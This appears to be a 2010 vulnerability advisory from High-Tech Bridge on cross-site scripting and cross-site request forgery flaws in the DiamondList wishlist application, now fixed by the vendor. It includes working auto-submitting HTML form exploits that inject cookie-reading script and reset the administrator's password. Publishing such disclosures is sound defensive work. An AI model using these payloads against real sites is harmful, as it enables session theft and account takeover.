Stay in touch with us: Facebook | Twitter | LinkedIn | Newsletter
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in DiamondList

Advisory ID:HTB22508
Product:DiamondList
Vendor:Hulihan Applications
Vulnerable Versions:0.1.6 and probably prior
Tested Version:0.1.6
Advisory Publication:July 22, 2010 [without technical details]
Vendor Notification:July 22, 2010
Public Disclosure:August 5, 2010
Latest Update:July 26, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2010-3023
CVE-2010-3024
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DiamondList which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in DiamondList: CVE-2010-3023
1.1 The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in user/main/update_settings. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application.
Exploitation example:
<form action="http://host/user/main/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "category[description]" parameter in user/main/update_category. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application.
Exploitation example:
<form action="http://host/user/main/update_category/CATEGORY_ID" method="post" name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) vulnerability in DiamondList: CVE-2010-3024
The vulnerability exists due to insufficient validation of the request origin in user/main/update_user. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/user/main/update_user/1" method="post" name="main" >
<input type="hidden" name="user[email]" value="admin@example.com" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22508 - https://www.htbridge.com/advisory/HTB22508 - Multiple Vulnerabilities in DiamondList
[2] DiamondList - http://hulihanapplications.com/projects/diamondlist - DiamondList is a free open source ruby on rails wishlist management program.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.